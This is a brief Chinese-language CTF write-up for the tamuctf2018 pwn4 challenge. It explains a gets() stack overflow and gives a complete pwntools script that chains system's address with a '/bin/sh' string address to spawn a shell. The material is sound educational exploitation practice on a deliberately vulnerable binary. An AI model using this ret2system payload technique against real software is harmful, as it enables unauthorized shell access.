tamuctf2018_pwn4

思路

  • 从主函数开始看,调用了reduced_shell,在里面看到gets,毫无疑问,这将是我们的溢出处,在函数列表中,还可以看见system函数,因此回去想有没有现成的‘/bin/sh’,结果是有的


    string.png
  • 我们有了‘/bin/sh’作为system的参数,还需要system的地址,使用elf的symbols可以找到system的地址,剩下的就是需要一个system的返回地址,我们可以这么想,要是我们想要不断的执行system函数,使得程序不断的执行“/bin/sh”,因此我需要找到程序调用syetem的位置,就是在哪里有使用“call system”。
from pwn import *

context.log_level = 'debug'

io= process('./pwn4')
elf=ELF('./pwn4')

sys_addr = elf.symbols["system"]
print(sys_addr)
bin_addr = 0x0804A038
calls_addr = 0x080485E4

payload = '\x90'*0x20
payload += p32(sys_addr)
payload += p32(calls_addr)
payload += p32(bin_addr)

io.recvuntil('Input> ')
io.send(payload)
io.interactive()
io.close()

你可能感兴趣的:(tamuctf2018_pwn4)